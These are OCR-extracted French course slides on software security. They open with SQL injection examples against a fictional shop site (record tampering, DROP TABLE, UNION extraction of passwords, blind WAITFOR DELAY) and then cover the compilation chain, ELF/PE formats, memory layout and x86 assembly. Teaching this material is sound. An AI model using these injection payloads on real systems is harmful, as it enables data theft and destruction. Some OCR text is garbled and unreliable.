WHERE jb-email = 'blah'; UPDATE jb-customers SET jb-email = 'info@juggyboy.com'
WHERE email ='jason@springfield.com; --';



SQL Injection Attacks — Adding new Records

@6 @ 6 CImrTrIEe O0®

g_ N JuggyBoy.com i

Forgot Password

Attacker Launching
SQL Injection

Email Address

e — Your password will be sent to your
blah'; INSERT INTO jb-customers ('jb-email','jb- registered email address
passwd','jb-login_id', 'jb-last name') VALDES
(' jason@springfield.com', 'hello','jason', 'jason
springfield') ;--

é SQL Injection Vulnerable Website

SQL Query Executed

SELECT jb-email, jb-passwd, jb-login_:l.d, jb—lut_nane FROM members
WHERE email = 'blah’'; INSERT INTO jb-customers ('jb-email','jb-passwd','jb-login id', 'jb-
last name') VALUES ('jason@springfield.com', 'hello','jason', ‘jason springfield’);--';



SQL Injection Attacks — Deleting a Table

LI . B http://www.juggyboy.com

%& JuggyBoy.com

1 m:llllll.lllllllllIlIlllIllllllIll) Forgot Password
Attacker Launching Email Address
SQL Injection

S e — Your password will be sent to your
registered email address

blah'; DROP TABLE Creditcard; --

v
SQL Query Executed

SELECT jb-email, jb-passwd, jb-login id, jb-last name FROM members
WHERE jb-email = 'blah'; DROP TABLE Creditcard; --';

SQL Injection Vulnerable Website



Union SQL Injection

Cette technique consiste a joindre une requéte forgée a la requéte originale.

Le résultat de la requéte forgée sera joint au résultat de la requéte originale, ce qui
permettra d'obtenir les valeurs des champs d'autres tables.

G O http://www.juggyboyshop.com
=26)
sl JuggyBoyShop.com

Search for Products [ ] Q‘ <

Attacker Launching
SQL Injection

blah' UNION Select 0, username,
password, 0 from users --

User names and Passwords are displayed

SQL Query Executed

SELECT ProductId, ProductName, QuantityPerUnit, UnitPrice FROM Products WHERE
ProductName LIKE 'blah' UNION Select 0, username, password, 0 from users --



Blind SQL Injection

No Error
Message

Generic
Page

Time-
intensive

Blind SQL Injection is used when a web application
is vulnerable to an SQL injection but the results of
the injection are not visible to the attacker

Blind SQL injection is identical to a normal SQL
Injection except that when an attacker attempts to
exploit an application rather than seeing a useful
error message, a generic custom page is displayed

This type of attack can become time-intensive
because a new statement must be crafted for
each bit recovered




Blind SQL Injection

Blind SQL Injection (Attack Successful)

C IR ", B W http://www.juggyboy.com

We are unable to process
your request. Please try
back later.

Simple SQL Injection
OJOL L) 20®

Microsoft OLE DB Provider for
ODBC Drivers error '80040el4’
[Microsoft] [ODBC SQL Server
Driver] [SQL Server]Unclosed
quotation mark before the
character string ''.
/shopping/buy.aspx, line 52




Blind SQL Injection

DOOE) > wen esmiooreom

; IF EXISTS(SELECT * FROM creditcard)

WAITFOR DELAY '0:0:10'—
Check

if database
“creditcard”
exists or

2 We are unable to process

your request. Please try

back later.
Since no error messages are returned,
use 'waitfor delay'command to
check the SQL execution status

WAIT FOR DELAY 'time' (Seconds)
This is just like sleep, wait for specified time.
CPU-safe way to make database wait.

WAITFOR DELAY '0:0:10'--
Sleep

for 10
seconds

We are unable to process
your request. Please try
back later.

BENCHMARK() (Minutes)

This command runs on MySQL server.
BENCHMARK (howmanytimes, do
this)




Vulnérabilités des langages

compiles




Chaine de compilation

gcc -E -P

compilation_example.c

” header.h
file-1.c :
file-2.c c
preprocessor
! | )
file-n.c r C/::'H' 2
Source compiler AD[Assembler

#include <stdio.h>
#define FORMAT_STRING "S%s"
#define MESSAGE "Hello, world!\n"

int main(int argc, char *xargv[]) {
printf (FORMAT_STRING, MESSAGE);
return 0;

}
H library.a
file-1.0 :
file-2.0 —’[ Linker ]—' a.out
: Binary
file-n.o executable
Object files

«4—

Compilation



Chalne de compilation

gcc -S -masm=intel compilation_example.c

file-1.c

file-2.c

file-n.c

"I header.h |

Source

file-1.0

file-2.0

file-n.o

Object files

v

Compilation

library.a

a.out

Binary
executable




Chalne de compilation

Windows : PE

V), not stripped

Linux : ELF

header.h library.a
file-1.c : file-1.0 .
. [ ¢ . ,
file-2.c » e M file-2.0 Linker a.out
l : Binary
file-n.c % o/t \ file-n.o executable
+
. Assembl
Source \ compiler J SEMBIET Object files

Compilation



Format ELF

Un programme ELF est composé :

D’un entéte général
D’entétes de sections

De sections:

.Init contient du code exécutable réalisant certaines initialisations et s’exécutant avant tout

autre code

.fini est analogue a .init mais s’exécute apres le main

.text section de code ou le main et les fonctions du programme résident

.rodata section de données qui est en lecture seule et destinée au stockage des constantes du

programme
.data section de données en écriture et contient les variables initialisées

.bss section de données en écriture et contient les variables initialisées
.interp : Contient le chemin vers I’éditeur de lien

rel. * et .rela. * : tables de relocation de symboles

.got et .got.plt : On reparlera dans la section librairies partagées

.plt : On reparlera dans la section librairies partagées

* D’entétes de programmes

08/11/2022 B. AIT SALEM

typedef struct {
unsigned char e_ident[16];

ET_REL | ET_EXEC | ET_DYN +—
EM_ARM | EM_386 | EM_x86_64 ... +— 1
EV_CURRENT <—  uint32 t

Header {

Executable header

-

PT_LOAD | PT_DYNAMIC | PT_INTERP | ...
. typedef struct {

Program
headers 3

Program header

Sections <

Section

r

Section <
headers

Section header

uint16_t e_type;
uint16_t e_machine;

Li e_version;
uinté4_t e_entry;
uinté4_t e_phoff;
uinté4_t e_shoff;
uint32_t e_flags;
uint16_t e_ehsize;
uint16_t e_phentsize;
uint16_t e_phnum;
uint16_t e_shentsize;
uint16_t e_shnum;
uint16_t e_shstrndx;

PF_X | PF_W[PFR| ...

uint32_t p_type;
uint32_t p_flags;
uint64_t p_offset;
uint64_t p_vaddr;
uint64_t p_paddr;
uint64_t p_filesz;
uint64_t p_memsz;
uint64_t p_align;

Important sections:
.interp
.init
.plt

.text
fini
.rodata
.data
.bss
.shstrtab

SHF_WRITE | SHF_ALLOC | SHF_EXECINSTR | ...

SHT_PROGBITS | SHT_SYMTAB | SHT_STRTAB
| SHT_RELA | SHT_DYNSYM | SHT_DYNAMIC | ...

typedef struct {

.
e uint32_t sh_name;

N uint32_t sh_type;
uint64_t sh_flags;
uint6é4_t sh_addr;
uint64_t sh_offset;
uint64_t sh_size;
uint32_t sh_link;
uint32_t sh_info;
uint64_t sh_addralign;

sh_entsize;

'} Elf64_Shdr;

57



Chalne de compilation

$file
compilation

file-1.c

file-2.c

file-n.c

Source

a.out

header.h library.a
: file-1.0 :
C » file2.0 >  Linker
preprocessor ]
. C/i+ . file-n.o
+
- | Assembler Obiect files

»
»

Compilation

Binary
executable




Chaine de compilation — Relocation de symboles

* Symboles : nom des variables et de fonctions

comy

« Table des symboles: Correspondance symbole
<--> adresse dans le fichier objet

* Les sections rel.* et .rela.* dans ELF

#include <stdio.h>
#define FORMAT_STRING "%s"
#define MESSAGE "Hello, world!\n"

int main(int argc, char xargvl])
{
printf (FORMAT_STRING,

MESSAGE) ;
return 0;
}




Chalne de compilation

Edition de lien

gcc compilation_example.c -o compilation_example.o

stdio ||
Compilation_examples.o |—p Linker a.out
Binary
executable

Obiject files o a9 94 i wa L

) PTR [

[rip+@

in+@
0




Chalne de compilation

Edition de lien

gcc compilation_example.c -o compilation_example.o

stdio ||
Compilation_examples.o |—p Linker a.out
Binary
executable

Object files

+

PT@: [rip

PTR [rb




Chalne de compilation

Edition de lien

“rot@parrot-vm platform
omp1il oles.c -0 compilation

header.h library.a

file-1.c : file-1.0

file-2.c » preprcc:cessor file-2.0 ¥ Linker a.out

l .

ile-n.c % C/Cor \ file-n.o executable
. Assembler L.

Source i compiler | Object files

»
»

Compilation



Chalne de compilation

Edition de lien

.C -0 compilation_ex
platform

Les symboles sont inclus dans I’'exécutable

header.h library.a

file-1.c : file-1.0

file-2.c » preprc?cessor file-2.0 ¥ Linker a.out

fil ' l fi ' B'"O")l')l

ile-n.c % C/Cer \ ile-n.o executable
. Assembler L.

Source | compiler Obsject files

- >

Compilation



Chalne de compilation - Les symboles — Striped

* Le nom des variables et function

e Table des symbols:

* Uniquement la table des symboles dynamique

$,1'r1;1 --strip-all compilation_ example:
ot@parrot- ,muﬁreglrtua1pl tform
f --sym compilation examples

dynsym » contient 7 entrées
) Lien Vis
( HPE LOCAL DEFAULT

0 NOTYPE WEAK  DEFAULT
© FUNC GLOBAL DEFAULT
© FUNC GLOBAL DEFAULT

NOTYPE WEAK  DEFAULT
) NOTYPE WEAK  DEFAULT
© FUNC WEAK  DEFAULT




Chalne de compilation

Windows : PE Linux : ELF

"I header.h | library.a
file-1.c : file-1.0 :
file-2.c file-2.0 —>-> a.out
: Binary
file-n.c file-n.o executable
Source Object files / \

Windows : PE Linux : ELF

v

Compilation



PE (Portable Executable) - Format

* Format Windows pour les fichiers exécutables, codes objets, | mrgs > Type du processeur
‘N’- NORD NumberOfSections;
DLLS7 ]‘eS dumps du noyau lndOWS typedef struct { / mgg Eﬁ:ﬁigmﬁhram-
w S -

To PE headers Characteristics; e . . - .
= ; LONG e Ifaneu; : } THAGE_FILE HEADER; Flags : is it a program, a dynamic

e (est une structure de données contenant les informations mEokn
g g R link (DLL) or maybe a driver,
’ \ i ! x86 or x64 oxoz08
’ ’ typedef struct {

nécessaires au chargeur et a ’éditeur de liens Windows. ) 4
/ Magic;

'

'

'
¢ N ) BVTE MajorLinkerVersion;
i ! BYTE  MinorLinkerVersion;

endian-ness, striped or not, ...

[ DWORD ~ Size0fCode;

-DO! ! DWORD SizeOfInitializedData;

MS-DOS MS-DOS header I DNORD ~ SizeOfUninitializedData;
y

7 DWORD  AddressOfEntryPoint;
: DWORD  BaseOfCode;
, ULONGLONG  ImageBase;
" " ) mRD Se;ti(lumlignment;
. 0 W RD FileAlignment;
PE signature  "PE\ONO" I 1 v WORD  MajorOperatingSystenVersion;
/ U WORD  MinorOperatingSystemVersion;
PE/COFF st WORD  MajorImageVersion;
headers PE file header ! WORD  MinorImageVersion;
WORD  MajorSubsystemVersion;
. WORD  MinorSubsystemVersion;
PE optional header DWORD  Win32VersionValue;
DWORD  SizeOfImage;
( % DWORD  SizeOfHeaders;
N DWORD  CheckSum;
. WORD  Subsystem;
\ WORD  DllCharacteristics;
Section . ULONGLONG SizeOfStackReserve;
headers < ULONGLONG  SizeOfStackCommit;
\ ULONGLONG ~ SizeOfHeapReserve;

Sections table Ssckon sl 1

- - ection er i mog&cmmt:c dSiﬁOfHeapComit 5
\ oaderFlags;

physical size physical offset (N DHORD NumhexOfRSaAndSizes;

headers

MS-DOS stub

RVA

Name VirtualSize vi rtua'IAddress SizeofRawData PointerToRawData Characteristics L v e DA DTRECTORY

2 taDirectory[16];
.text 0x1000 0x1000 0x200 0x200 CODE _EXECUTE READ] - L) IHAGE OPTIONAL HEADERG4; e
.rdata 0x1000 0x2000 0x200 0x400 ____ INITIALIZED READ ypedef strct {
.data 0x1000 0x3000 0x200 0x600 DATA __READ _WRITE i

) DWORD PhysicalAddress;
“‘ )Z’ZEP VirtualSize;

“ DWORD VirtualAddress;
DWORD  SizeOfRawData;
\ DWORD PointerToRawData;
) DWORD PointerToRelocations;
Sections < =N \ DHORD PointerTol inenumbers;
\ \ WORD  NumberOfRelocations;
Section 8 wosw NumbexOfLinenunbers;
M ORD Characteristics;
' } IHME :_SECTION_HEADER;

Important sections:

\ .text .edata
kS .bss .idata
b .rdata .pdata

Y .data .reloc
.ISIC .debug




PE

* Format Windows pour les fichiers exécutables, codes objets,

DLLs, les dumps du noyau Windows

(C’est une structure de données contenant les informations
nécessaires au chargeur et a 1’éditeur de liens Windows.

Portable Executable

Address: This points to the
important parts of the binary:

- Import table

The data directory array points to the
other optional headers that might be

included in the executable and are not
necessary included in every application.

-TLS

It includes 16 entries with this format

- Export table
- Resource table
- Relocation table

table

Size: This is the size of the header.

- Format

"MZ" «——  WORD e_magic;

[ typedef struct {

:’ WORD ~ Machine;

h WORD  NumberOfSections;

1 DWORD TimeDateStamp;
" DWORD  PointerToSymbolTable;
' DWORD  NumberOfSymbols;
' WORD  SizeOfOptionalHeader;
& WORD  Characteristics;

typedef struct {

To PE headers «— ! ;:ANEE ;Eif:::ér i } IMAGE_FILE_HEADER;
- — L & ’
)
\‘ ,' :I 0x020B
7 \ L
’ ¥ ’: typedef struct {
WORD  Magic;

'
I BYTE l'ajoriinkﬁVersim 3
L BYTE  MinorLinkerVersion;

MS-DOS

" DWORD  SizeOfInitializedData;
A DWORD SizeOfUninitializedData;
DWORD  AddressOfEntryPoint;

;' . DHORD  SizeOfCode;
MS-DOS header '

headers

MS-DOS stub

'
. DWORD  Bas: 5
/, ULONGLONG InageBase;

! . DWORD  SectionAlignment;

L DWORD  FileAlignment;
' WORD  MajorOperatingSystemVersion;

PE signature  "PE\0\0"
U WORD  MinorOperatingSystemVersion;

PE/COFF
headers

| WORD  Maj ion;
;jorImageVersion
PE file header a WORD Minurmagev:rsinn;
MajorSubsystemVersion;
WORD  MinorSubsystemVersion;

Section
headers

a

Sections <

PE ophonal heder DWORD  Win32VersionValue;
DWORD  SizeOfImage;

DWORD SizeOfHeaders;

DWORD  CheckSum;

WORD  Subsystem;

WORD  DllCharacteristics;

ULONGLONG  SizeOfStackReserve;

ULONGLONG  SizeOfStackCommit;

ULONGLONG ~ SizeOfHeapReserve;

ULONGLONG ~ SizeOfHeapCommit;

DWORD  LoaderFlags;

DWORD  NumberOfRvaAndSizes;

IMAGE_DATA_DIRECTORY

DataDirectory[16];

} IMAGE_OPTIONAL_HEADER64;
typedef struct {

DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD  SizeOfRawData;
DWORD PointerToRawData;
DWORD  PointerToRelocations;
DWORD  PointerToLinenumbers;
WORD  NumberOfRelocations;
WORD  NumberOfLinenumbers ;
DWORD Characteristics;
} IMAGE_SECTION HEADER;

Important sections:
Jtext .edata
.bss .idata

.rdata .pdata
.data .reloc

.ISIC .debug



PE (Portable Executable) - Format

* Format Windows pour les fichiers exécutables, codes objets,
DLLs, les dumps du noyau Windows

(C’est une structure de données contenant les informations
nécessaires au chargeur et a 1’éditeur de liens Windows.

La section .rsrc : sauvegarde
les ressources (Strings, icons,
and menus,...) utilisées par
I'exécutable

La section .reloc contient les

adresses des symboles a
recalculer

La section .rdata -- imports
& exports

typedef struct {

"MZ" «——  WORD e_magic;

To PE headers «—

LONG e_lfanew;

} IMAGE_DOS_HEADER;

MS-DOS header

MS-DOS
headers

MS-DOS stub

PE signature  "PE\0\0"

PE/COFF
headers

PE file header

Section
headers <

Sections <

PE optional header

typedef struct {
WORD ~ Machine;
WORD  NumberOfSections;
DWORD TimeDateStamp;
DWORD  PointerToSymbolTable;
DWORD  NumberOfSymbols;
WORD  SizeOfOptionalHeader;
WORD  Characteristics;

} IMAGE_FILE_HEADER;

0x020B

BYTE  MajorLinkerVersion;
BYTE  MinorLinkerVersion;
DWORD  SizeOfCode;
DWORD  SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD  AddressOfEntryPoint;
DWORD BaseOfCode;

ULONGLONG  ImageBase;

DWORD  SectionAlignment;

DWORD  FileAlignment;

WORD  MajorOperatingSystemVersion;
WORD  MinorOperatingSystemVersion;
WORD  MajorImageVersion;
WORD  MinorImageVersion;
WORD  MajorSubsystemVersion;
WORD  MinorSubsystemVersion;
DWORD  Win32VersionValue;
DWORD  SizeOfImage;

DWORD SizeOfHeaders;

DWORD  CheckSum;

WORD  Subsystem;

WORD  DllCharacteristics;
ULONGLONG  SizeOfStackReserve;
ULONGLONG  SizeOfStackCommit;
ULONGLONG ~ SizeOfHeapReserve;
ULONGLONG ~ SizeOfHeapCommit;
DWORD  LoaderFlags;

DWORD  NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY

DataDirectory[16];

} IMAGE_OPTIONAL_HEADER64;

typedef struct {
H

DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD  SizeOfRawData;
DWORD PointerToRawData;
DWORD  PointerToRelocations;
DWORD  PointerToLinenumbers;
WORD  NumberOfRelocations;
WORD  NumberOfLinenumbers ;
DWORD Characteristics;
} IMAGE_SECTION HEADER;

Important sections:
.text .edata
.bss .idata

.rdata .pdata
.data .reloc
.ISIC .debug



Chargement du programme en mémoire

Un programme sur un adressage sur 32 bits voit la

Environment

Arguments

Interpreter
libl.so
lib2.so

Header

Data section 1

Data section 2

Code section 1

Code section 2

Pile ou Stack

bibliothéques parta-
gees

Tas ou Heap

BSS

Données ou Data

Code

mémoire de ladresse 0 a 232 — 1, cad 4Go:

A

4Go1=232 -1

Espace d’adressage virtuel

(=]

Les segments:

*

*

chaque section posséde des droits d'acces différents: read/write/execute
Code : les Instructions du programme (appelé parfois « Text») ;

Data: les variables globales initialisées ;
Bss: les variables globales non initialisées (elles seront initialisées a 0) ;

Heap : mémoire retournée lors d’allocation dynamique avec les fonctions
«malloc/calloc/new»: elle croit vers le haut;

Stack : stocke les variables locales et les adresses de retour: elle croit vers le bas ;

Shared libraries: les bibliotheéques partagées, c-a-d le code des fonctions parta-
gées par plusieurs processus (fonctions d’entrée/sortie, mathématiques, efc.).



Exo

* Trouvez la section de chaque variable

int index = 5;
char x str;
int nothing;

void functl(int c){
int i=c;
str = (charx) malloc (10 * sizeof (char));

strncpy(str, "abcde", 5);
I3

void main (){
funct1(1);
}



Architecture machine de base

* Unité de controle (Control unit)

* Recherche une instruction dont I'adresse se Sae
trouve dans le compteur ordinal (program [ Registers ]
counter) a partir de la RAM en utilisant un
registre appelé instruction pointer (le registre t
EIP dans les architecture intel), la décode puis Mai
’ ey 1 PN Control ain
I’envoie a 'UAL pour 'exécuter. \ AU fa—l™ o | *|  Memory
. (RAM)
* Registres }
e Mémoire au niveau de la CPU ‘
* Plus petite, mais plus rapide que la RAM
. . . | Devi
* UAL (ALU (Arithmetic Logic Unit)) pU Qv Devics

* Exécute une opération arithmétique et logique et
place le résultat dans un registre ou dans la

RAM

Architecture de Von Neumann

* CPU (Central Processing Unit) exécute des
instructions machines

* RAM sauvegarde les données et le code

* I/0O interface avec les périphériques



Endianness

Quelle est la plus petite unité de données adressable 7

Big-Endian
» Placer les octets de poids forts en premier
e 0x42 comme valeur de 64-bits sera sauvegardée en mémoire ainsi 0x00000042

Little-Endian
* Placer les octets de poids faibles en premier

* 0x42 comme valeur de 64-bit sera sauvegardée en mémoire ainsi 0x42000000

Les protocoles réseaux utilisent le format big-endian

* Les programmes x86 utilisent le format little-endian



Endianness Exemple d’une adresses IP

* 127.0.0.1 qui vaut 7F 00 00 01 en hex
* Elle est envoyée sur le réseau comme 0x7F000001

* Elle sera par contre sauvegardée comme 0x0100007F en mémoire centrale



Instructions machines

* Mnemonic suivi d'un ou plusieurs opérandes mov destination, source
operands Copier une valeur de la source a la destination
La source ou la destination peut étre:
Mnemonic operands Une valeur
mov | ecx 0x42 Un registre

L'adresse mémoire contenue dans registre_x. Elle apparait

* Charger dans le registre ecx la valeur 42 sous la forme [registre_x]

(hex)

* En langage binaire cette instruction devient:
* 0xB942000000

* mov ecx est la représentation de 0xB9 (en
hexadecimal)



Opérandes et Mode d’adressage

Addressing Mode
Register

Immediate

Direct

Register Indirect
Based Relative
Indexed Relative

Based Indexed-Relative

Description

Registers hold the data to be manipulated. No
memory interaction. Both registers must be the
same size.

The source operand is a numerical value. Decimal
is assumed; use h for hex.

The first operand is the address of memory to
manipulate. It's marked with brackets.

The first operand is a register in brackets that
holds the address to be manipulated.

The effective address to be manipulated is calcu-
lated by using ebx or ebp plus an offset value.

Same as Based Relative, but edi and esi are used to

hold the offset.

The effective address is found by combining Based
and Indexed Relative modes.

NASM Examples

mov ebx, edx
add al, ch

mov eax, |234h

mov dx, 301
mov bh, 100

mov[4321h], bh
mov [di], ecx
mov edx, 20[ebx]

mov ecx,20[esi]

mov ax, [bx][si]+|




Exo

Instruction

mov eax, ebx

mov eax,
0x42

mov eax,
[0x4037C4]

mov eax,
[ebx]

mov eax,
[ebx+esi*4]




Exo - Correction

Instruction  Description

mov eax, ebx Copies the contents of EBX into the EAX register

mov eax, Copies the value 0x42 into the EAX register
0x42
mov eax, Copies the 4 bytes at the memory location 0x4037C4 into the EAX
[6x4037C4] regi

gister
mov eax, Copies the 4 bytes at the memory location specified by the EBX register
[sbx] into the EAX register
mov eax, Copies the 4 bytes at the memory location specified by the result of the
[ebx+esi*4]

equation ebx+esi*4 into the EAX register



Types de registre

Registres généraux Registres de segment Registre d'état Registre instruction

EAX (AX, AH, AL) CS EFLAGS EIP
EBX (BX, BH, BL) SS
ECX (CX,CH, CL) DS
EDX (DX, DH, DL) ES
EBP (BP) FS
ESP (SP) GS

ESI (SI)



Types de registre

Registres généraux Registres de segment Registre d'état Registre instruction

EAX (AX, AH, AL)|CS EFLAGS EIP
EBX (BX, BH, BL) |SS

ECX (CX, CH, CL) |D * Les registres généraux sont typiquement utilisés pour

sauvegarder des valeurs ou des adresses mémoires
EDX (DX, DH, DL)|ES

* Quelques instructions référencent implicitement ces registres
EBP (BP) FS * La Multiplication et la division utilisent EAX et EDX

° 4 ’
ESP (SP) GS EAX contient .souvent la valeur de retour lors d’un
appel de fonction

ESI (SI)



Types de registre

Registres généraux Registres de segment Registre d'état  Registre instruction

EAX (AX, AH, AL)|CS EFLAGS EIP
EBX (BX, BH, BL) |SS
ECX (CX,CH, CL) |[D

EDX (DX, DH, DL)|ES

EBP (BP) FS

ESP (SP) GS

64 bit registers

ESI (SI) ,f

16 bit registers



Types de registre

Registres généraux Registres de segment Registre d'état Registre instruction

EAX (AX., AH, AL) CS EFLAGS EIP

EBX (BX, BH, BL) SS

* Registres d'offset:

ECX (CX,CH,CL) DS e Sont utilisés lors de 1'adressage indirect de la mémoire.

EDX (DX, DH, DL) ES * Ces registres sont:
* EBP : (Extended Base Pointer) pointeur de base

o / « ESP : (Extended Stack Pointer) pointeur de pile
ESP (SP) GS « ESI : (Extended Source Index) pointeur source

» EDI : (Extended Destination Index) pointeur destination

ESI (SI)




Types de registre

Registres généraux Registres de segment Registre d'état  Registre instruction

EAX (AX, AH, AL)|CS EFLAGS EIP

EBX (BX, BH, BL) |SS

ECX (CX,CH, CL) |DS * Registres de segment:
EDX (DX, DH, DL) |ES * CS : pointe vers les instructions du programme (code segment).
\ * DS : pointe vers les données du programme (data segment).
EBP (BP) ES * SS : pointe vers la pile programme (stack segment).
* ES : pointe vers les données du programme multi-segments (extra
segment).
ESP (SP) GS * F'S : pointe vers les données du programme multi-segments en

mode protégé.

ESI (SI) * GS_: pointe vers les données du programme multi-segments en
mode protégé.




Types de registre

Registres généraux Registres de segment Registre d'état Registre instruction

EAX (AX, AH, AL) CS EFLAGS EIP

EBX (BX, BH, BL) SS
ECX (CX,CH, CL) DS
EDX (DX, DH, DL) ES
EBP (BP) FS
ESP (SP) GS

ESI (SI)



Types de registre

* Registre d’état:
+ Chaque bit du registre EFLAGS est un indicateur d'état (un drapeau Activer (1) ou désactiver (0)) qui peut étre modifié a
chaque fois qu’une instruction est exécutée :
* retenue (addition ou soustraction),
* dépassement,
. = . A
* comparaison,
* autoriser les interruptions,

64 bit registers

32 bit registers

16 bit registers




Types de registre

* Registre d’état:
« Chaque bit du registre EFLAGS est un indicateur d'état (un drapeau Activer (1) ou désactiver (0)) qui peut étre modifié a
chaque fois qu’une instruction est exécutée :
* retenue (addition ou soustraction),
* dépassement,

* comparaison,

* autoriser les interruptions,
. EFLAGS RESERVED FOR INTEL
ALIGNMENT CHECK | CARRY FLAG
ZF Zero flag . VIRTUAL MODE PARITY FLAG
*  Activé lorsque le résultat d’'une opération est égal a zéro RESUME FLAG AUXILIARY CARRY
NESTED TASK FLAG ZERO FLAG
CF Carry flag /O PRIVILEGE LEVEL SIGN FLAG
* Activé lorsque le résultat d'une opération est plus grand ou OVERFLOW TRAP FLAG
plus petit que la destination DIRECTION FLAG
_ ! INTERRUPT ENABLE
SF Sign Flag 240440-6

Note: 0 indicates Intel Reserved: do not define.

*  Activé lorsque le résultat est négatif ou lorsque le bit de
poids fort est mis a 1 apres une opération arithmétique

TF Trap Flag

* Utilisé pour le débogage. Lorsqu’il est activé, le processeur
exécute une seule instruction a la fois.

DF Direction Flag
* A voir ci-dessous avec l'instruction rep



Types de registre

* Registre d’état:
« Chaque bit du registre EFLAGS est un indicateur d'état (un drapeau Activer (1) ou désactiver (0)) qui peut étre modifié a
chaque fois qu’une instruction est exécutée :
* retenue (addition ou soustraction),
* dépassement,
* comparaison,

* autoriser les interruptions,

7ZF Zero fla ALIGNMENT C:HECK | CARRY FLAG
o Tlag ) VIRTUAL MODE PARITY FLAG
*  Activé lorsque le résultat d’'une opération est égal a zéro RESUME FLAG AUXILIARY CARRY
NESTED TASK FLAG ZERO FLAG
CF Carry flag VO PRIVILEGE LEVEL SIGN FLAG
* Activé lorsque le résultat d'une opération est plus grand ou OVERFLOW TRAP FLAG
plus petit que la destination DIRECTION FLAG
INTERRUPT ENABLE

SF Sign Flag 240440-6

sz 2 4 : : Note: 0 indicates leserved: do not define.
+  Activé lorsque le résultat est négatif ou lorsque le bit de Nots: 0indicates Intsl Reesrved: do not define
poids fort est mis a 1 apres une opération arithmétique

TF Trap Flag
* Utilisé pour le débogage. Lorsqu’il est activé, le processeur Exemple .

exécute une seule instruction a la fois. R . . Lo . ,
DF Dircction Flag Apres une instruction sub, le flag ZF est mis a 1 si le résultat est

* A voir ci-dessous avec I'instruction rep égal a zéro et le flag CF est positionné a 1 si la destination est
plus petite que la valeur soustraite.



Types de registre

Registres généraux Registres de segment Registre d'état Registre instruction

EAX (AX, AH, AL) CS EFLAGS EIP

EBX (BX, BH, BL) SS
ECX (CX,CH, CL) DS
EDX (DX, DH, DL) ES
EBP (BP) FS
ESP (SP) GS

ESI (SI)



Types de registre

* Registre pointeur d’instruction:

* Le registre EIP est utilisé par le processeur, en
association avec le registre de segment CS
(CS:EIP), pour connaitre la prochaine instruction a

xeenter ERIPTT O EIP 1P
* (e registre est donc modifié implicitement par le

processeur (instruction suivante, saut a l'adresse
indiquée, appel d'une fonction, interruption ...).

64 bit registers

* Si EIP contient une valeur erronée, la CPU | 32 bit registers
rechercherait une instruction non légitime et |
cracherait

16 bit registers

» Le registre EIP est la cible de 'attaque par
débordement de mémoire (Buffer-Over-flow).



Principales Instructions

Format Intel NASM




Instructions Arithmétiques

* sub Subtracts * mul value multiplie toujours eax par value. Le

e add Adds résultat est sauvegardé sur 64 bits dans edx et eax
* inc Increments DeCimGI 5,000,000,000

* dec Decrements

* mul Multiplies Hex | 00000001 2A05F200

e div Divides EDX EAX

fous . o : * div value ressemble a mul mais dans 'autre sens.
* Ces opérations modifient le registre

2 Elle divise la valeur 64 bits répartie sur edx et eax
d’état , . ,
par value. Le résultat de la division est sauvegardé

e Le résultat de 'opération est dans eax et le reste dans edx

sauvegardé dans le premier opérande



Instructions Arithmétiques

* sub Subtracts * shr destination, count et shl destination, count décale

e add Adds “count bits fois” resp. a droite et a gauche la valeur dans
destination. Les bits en trop sont mis dans CF flag.

* inc Increments « Une instruction de décalage est souvent utilisée pour

e dec Decrements remplacer une multiplication qui est plus couteuse (ex.

diviser par deux et un décalage d’un bit vers la droite)
* mul Multiplies

e div Divides

* Ces opérations modifient le registre
d’état

e Le résultat de 'opération est
sauvegardé dans le premier opérande



Instructions de comparaison

* test

*  Compare deux valeurs en réalisant un AND des deux
valeurs, mais ne modifie pas les deux valeurs

* test eax, eax
* Active le drapeau Zéro (ZF) si eax est égale a
zéro

* cmp eax, ebx

* Ressemble a l'instruction sub, mais ne modifie pas la
valeur des deux opérandes

* Le drapeau ZF est mis a 1 si les deux opérandes sont
égaux

cmp dst, src ZF CF

dst = src 1 0
dst < src 0 1
dst > src 0 0



Branchements conditionnels

* jz loc
* Se brancher a l'adresse loc si le drapeau Zéro ZF est activé (1)

* jnz loc
* Se brancher a 'adresse loc si le drapeau Zéro ZF est désactivé (0)

* Quel est I'équivalent de ces deux instructions en langages C, Python, Java, ... ?



Quelques opérateurs

* L’operateur offset : nous donne le déplacement d’une variable ou un label par rapport au début
de son segment

« Mov BX, OFFSET VARI1
« DB, DW, DD, servent a définir resp. un byte, un word et double word dans le segment data

* L’operateur PTR.: peut étre utilisé pour forcer la taille d’'un opérande



Quelques opérateurs

* ByteVal DB  05h, 06h, 08h, 09h, 0Ah, 0Dh, '$'
WordVal DW  5510h, 6620h, OAODh, '$'

MOV AX, WORD PTR ByteVal + 2
MOV BL, BYTE PTR WordVal + 4

MOV  BX, OFFSET WordVal
INC  [BX]

INC BYTE PTR [BX]

INC  WORD PTR [BX]



Quelques opérateurs

* ByteVal DB  05h, 06h, 08h, 09h, 0Ah, 0Dh, '$'
WordVal DW  5510h, 6620h, OAODh, '$'

MOV  AX, WORD PTR ByteVal + 2 . AX = 0908h
MOV BL, BYTE PTR WordVal + 4 . BL = 0Dh

MOV  BX, OFFSET WordVal : BX pointe vers WordVal

INC [BX] ; ambigu — la taille n’est pas spécifiée

INC BYTE PTR [BX] ; modifie la valeur en mémoire en 11h
INC  WORD PTR [BX] ; modifie la valeur en mémoire en 5511h



Branchements conditionnels

jz loc Jump to specified location if ZF = 1.

jnz loc Jump to specified location if ZF = 0.

je loc Same as jz, but commonly used after a cmp instruction. Jump will occur if the
destination operand equals the source operand.

jne loc Same as jnz, but commonly used after a cmp. Jump will occur if the destination
operand is not equal to the source operand.

jg loc Performs signed comparison jump after a cmp if the destination operand is
greater than the source operand.

jge loc Performs signed comparison jump after a cmp if the destination operand is
greater than or equal to the source operand.

ja loc Same as jg, but an unsigned comparison is performed.

jae loc Same as jge, but an unsigned comparison is performed.

1 loc Performs signed comparison jump after a cmp if the destination operand is less
than the source operand.

jle loc Performs signed comparison jump after a cmp if the destination operand is less
than or equal fo the source operand.

jb loc Same as j1, but an unsigned comparison is performed.

jbe loc Same as jle, but an unsigned comparison is performed.

jo loc Jump if the previous instruction set the overflow flag (OF = 1).

js loc Jump if the sign flag is set (SF = 1).

jecxz loc  Jump to location if ECX = 0.



Exo

